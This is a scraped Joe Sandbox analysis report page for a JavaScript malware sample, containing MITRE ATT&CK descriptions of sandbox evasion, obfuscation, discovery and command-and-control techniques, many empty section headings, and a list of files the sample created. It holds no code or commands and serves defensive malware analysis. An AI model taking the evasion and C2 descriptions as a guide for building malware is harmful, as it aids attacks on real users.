Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 22964327542023110895.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d060503c-033e-4b4a-b59b-ff3aebb50f5b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8008

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
22964327542023110895.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre